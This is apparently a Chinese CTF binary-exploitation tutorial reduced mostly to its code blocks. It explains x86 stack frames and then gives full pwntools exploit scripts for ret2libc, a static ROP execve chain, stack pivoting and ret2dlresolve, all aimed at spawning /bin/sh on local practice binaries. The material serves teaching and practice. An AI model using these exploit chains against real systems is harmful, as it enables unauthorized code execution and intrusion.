1

call my_function   ; 等价于 push rip; jmp my_function

1
2
3
4
5
6

高地址
| ...          |
| 参数 n        |  （某些参数可能通过寄存器传，其余压栈）
| ...          |
| 返回地址      |  ← call 指令压入的 rip（调用者的下一条指令）
低地址  ← rsp 指向这里

1
2
3
4

my_function:
    push rbp        ; ① 保存调用者的 rbp
    mov  rbp, rsp   ; ② 设置自己的栈帧基址
    sub  rsp, N     ; ③ 为局部变量分配空间（可选）

1
2
3
4
5
6
7

高地址
| 调用者的 rbp |  ← rbp 现在指向这里 (当前函数的帧基址)
| 返回地址      |  ← rbp + 8
| 参数区/更多   |  ← rbp + 16 开始可能是调用者压入的参数
| ...           |
| 局部变量区域  |  ← rsp 指向这里 (低地址)
低地址

1
2

leave
ret

1
2

mov rsp, rbp        ; 恢复栈指针到帧基址，相当于丢弃函数内分配的局部变量空间
pop rbp             ; 弹出旧 rbp，同时 rsp 自动 +8

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

from pwn import *

elf = ELF('./vuln')
libc = ELF('./libc.so.6') # 题目通常会提供 libc
p = process('./vuln')

# 假设通过调试测出溢出偏移为 72
offset = 72

# 第一步：泄露 libc 基址 
rop = ROP(elf)
# 调用 puts 打印 puts 自己在 GOT 表里的真实地址
rop.puts(elf.got['puts'])
# 打印完后，让程序再次回到 main 函数，重新触发一次漏洞
rop.call(elf.sym['main'])

payload1 = b'A' * offset + rop.chain()
p.sendlineafter(b"Input:", payload1)

# 接收并解析泄露的地址
puts_leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(f"[+] Leak puts address: {hex(puts_leak)}")

# 计算 libc 基址
libc.address = puts_leak - libc.sym['puts']
print(f"[+] Libc base: {hex(libc.address)}")

# 第二步：执行 system("/bin/sh")
rop2 = ROP(libc)
# 有了基址，直接在 libc 里找 system 和 /bin/sh
# 注意：64位 Ubuntu 系统有时需要多加一个单纯的 ret 指令来对齐 16 字节栈环境
rop2.raw(rop2.ret.address) 
rop2.system(next(libc.search(b'/bin/sh\x00')))

payload2 = b'A' * offset + rop2.chain()
p.sendlineafter(b"Input:", payload2) # main函数重新运行，再次输入

p.interactive()

1
2
3
4
5
6
7

=================== 高地址 (栈底) ===================
[ main 函数的地址       ]  <- puts 执行完后的返回地址 (为了无限循环利用)
[ puts@plt 地址        ]  <- pop rdi; ret 之后的去向，去执行 puts 打印
[ puts@got 地址        ]  <- 准备弹给 rdi 寄存器的值 (即 puts 的参数)
[ pop rdi; ret 的地址   ]  <- 劫持 EIP 的第一步！
[ 72 字节的垃圾数据      ]  <- 填充满局部变量和旧的 RBP
=================== 低地址 (当前 RSP) ================

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

高地址
+-------------------+
| system 地址       |  ← 调用 system，将会跳转到 libc 的 system 函数 (5)
+-------------------+
| "/bin/sh" 地址    |  ← 弹入 rdi 的参数 (4)
+-------------------+
| pop rdi; ret      |  ← 第二个 gadget (3)
+-------------------+
| ret 的地址        |  ← 额外对齐用，只执行 ret (2)
+-------------------+
| 72 字节 A 填充    |  ← 缓冲区覆盖 (1)
+-------------------+
| 局部变量 / 缓冲区 |
低地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

from pwn import *

p = process('./static_vuln')

offset = 112

# 利用 ROPgadget 等工具提前找好的地址
pop_eax_ret = 0x08051234
pop_ebx_ecx_edx_ret = 0x08065432
int_0x80 = 0x08048122
bin_sh_addr = 0x08091111 # 假设在程序静态数据区找到了 "/bin/sh"

# 组装 ROP 链，目标是执行 execve("/bin/sh", 0, 0)
# execve 的系统调用号是 11 (0xb)
payload = b'A' * offset
payload += p32(pop_eax_ret) 
payload += p32(11)                 # 让 eax = 11
payload += p32(pop_ebx_ecx_edx_ret)
payload += p32(bin_sh_addr)        # 让 ebx = "/bin/sh" 所在的地址
payload += p32(0)                  # 让 ecx = 0
payload += p32(0)                  # 让 edx = 0
payload += p32(int_0x80)           # 触发系统调用！

p.sendline(payload)
p.interactive()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

[ 低地址 (栈顶) ]  <--- 此时 ESP 正指着这里
=========================================================================
栈内相对位置  | 内存中实际存放的数据 (32位)        | 这一格的作用是什么？
=========================================================================
[ESP]       | 0x08051234 (pop eax; ret)    | 原函数的返回地址，链条的第一步
-------------------------------------------------------------------------
[ESP + 4]   | 11                           | 准备喂给 EAX 的系统调用号 (execve)
-------------------------------------------------------------------------
[ESP + 8]   | 0x08065432 (pop ebx; ecx...) | 准备跳去的第二段 Gadget
-------------------------------------------------------------------------
[ESP + 12]  | 0x08091111 (bin_sh_addr)     | 准备喂给 EBX 的字符串地址
-------------------------------------------------------------------------
[ESP + 16]  | 0                            | 准备喂给 ECX 的值
-------------------------------------------------------------------------
[ESP + 20]  | 0                            | 准备喂给 EDX 的值
-------------------------------------------------------------------------
[ESP + 24]  | 0x08048122 (int 0x80)        | 最后的归宿：系统调用大门
=========================================================================
[ 高地址 (栈底方向) ]

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

from pwn import *

elf = ELF('./vuln')
p = process('./vuln')

# 假设存在全局变量/bss段，我们可以往这里写入数据
bss_addr = elf.bss() + 0x100
leave_ret_addr = 0x080484b8  # 提前找好的 leave; ret 的地址

# ================= 第一步：在宽敞的 bss 段提前布置好恶意的 ROP 链 =================
# 假设程序一开始提供了一次往 bss 段写任意数据的机会
# 这里布置的链就是常规的 ret2libc 或者系统调用
fake_stack_rop = ROP(elf)
fake_stack_rop.puts(elf.got['puts'])
fake_stack_rop.call(elf.sym['main'])

p.sendafter(b"Write to BSS:", fake_stack_rop.chain())

# ================= 第二步：极小溢出，触发栈迁移 =================
# 假设这是溢出函数，我们只有 0x20 的缓冲区，最多写 0x28 个字节
offset = 0x20

payload = b'A' * offset 
payload += p32(bss_addr - 4)  # 覆盖 saved ebp。减 4 是为了让 leave 指令执行后，esp 恰好指向 bss_addr
payload += p32(leave_ret_addr)# 覆盖 ret addr (eip)。

# 发生什么？
# 1. 目标函数原本的 leave: 把被覆盖的 ebp 赋给 esp，然后 pop ebp。此时 esp 来到了 bss_addr 附近。
# 2. 目标函数原本的 ret:  去执行被我们覆盖的 leave_ret_addr。
# 3. 再次执行 leave: 将 esp 彻底定位到了 bss_addr，并 pop ebp。
# 4. 再次执行 ret: 这次从栈顶（此时就是 bss_addr）弹出的返回地址，正好是我们第一步写入的 ROP 链！

p.sendafter(b"Tiny overflow:", payload)
p.interactive()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

my_func:
    ; --- 1. 函数序言 (Function Prologue) ---
    push ebp            ; 保存调用者的 ebp
    mov ebp, esp        ; 把当前的 esp 赋值给 ebp，建立自己的栈帧
    
    ; --- 2. 真正的主体代码 ---
    mov eax, dword ptr [ebp + 8]  ; <--- 用 ebp+8 拿到了 arg1 !
    
    ; --- 3. 函数结语 (Function Epilogue) ---
    pop ebp             ; 恢复调用者的 ebp
    ret                 ; 返回

1
2
3
4

================ 高地址 ================
[ 参数 arg1 的值 ]  <- (此时 ESP + 4)
[ 返回地址       ]  <- (此时 ESP)
================ 低地址 ================

1
2
3
4
5

================ 高地址 ================
[ 参数 arg1 的值 ]  <- (此时 ESP + 8) 
[ 返回地址       ]  <- (此时 ESP + 4)
[ 旧的 EBP 值    ]  <- (此时 ESP)
================ 低地址 ================

1
2
3
4
5

================ 高地址 ================
[ 参数 arg1 的值 ]  <- (此时 EBP + 8) ！！！
[ 返回地址       ]  <- (此时 EBP + 4)
[ 旧的 EBP 值    ]  <- (此时 ESP 和 EBP 都指向这里)
================ 低地址 ================

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "i386"

p = process("./no_relro_32")
rop = ROP("./no_relro_32")
elf = ELF("./no_relro_32")

p.recvuntil(b'Welcome to XDCTF2015~!\n')

offset = 112
rop.raw(offset * 'a')

rop.read(0, 0x08049804 + 4, 4)

dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace(b"read", b"system")

rop.read(0, 0x080498E0, len(dynstr))

rop.read(0, 0x080498E0 + 0x100, len(b"/bin/sh\x00"))

rop.raw(0x08048376)
rop.raw(0xdeadbeef)
rop.raw(0x080498E0 + 0x100)

assert(len(rop.chain()) <= 256)
rop.raw("a" * (256 - len(rop.chain())))

p.send(rop.chain())

p.send(p32(0x080498E0))
p.send(dynstr)
p.send(b"/bin/sh\x00")

p.interactive()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

原始 .dynamic:
DT_STRTAB -> 真实 .dynstr (地址 A)

ROP 第一步:
将 DT_STRTAB 指针改为 ----> 0x080498E0

ROP 第二步:
在 0x080498E0 写入 假 .dynstr (将 "read" 改成 "system")

ROP 第三步:
在 0x080498E0+0x100 写入 "/bin/sh\x00"

ROP 第四步:
jmp read@plt+6 (强制解析)
   -> _dl_runtime_resolve 根据 DT_STRTAB 地址读取假表
   -> 原符号是 read, 现在字符串是 "system"
   -> 解析出 system 地址并调用
   -> 栈上参数指向 "/bin/sh"
   -> system("/bin/sh") 执行，拿到 shell

1
2
3
4
5
6
7

rop.raw(offset * 'a')                     # 1. 填充偏移
rop.read(0, 0x08049804+4, 4)              # 2. 第一次 read：改动态字符串表指针
rop.read(0, 0x080498E0, len(dynstr))      # 3. 第二次 read：写入伪造的字符串表
rop.read(0, 0x080498E0+0x100, 8)          # 4. 第三次 read：写入 "/bin/sh"
rop.raw(0x08048376)                       # 5. 跳转到 read@plt+6 (强制解析)
rop.raw(0xdeadbeef)                       # 6. system 的返回地址 (随便写)
rop.raw(0x080498E0 + 0x100)               # 7. system 的参数 ("/bin/sh" 的地址)

1
2
3
4
5

[ read_plt 地址 ]
[ pppr 桥梁     ]
[ 0            ]
[ bss段的地址   ] <- 目标地址 (比如 0x0804A000)
[ 8            ] <- 读 8 个字节

1
2
3

[ system_plt 地址 ]
[ 0xdeadbeef     ]
[ 0x0804A000     ] <- system 的参数，填刚刚被写入了字符串的 bss 段地址！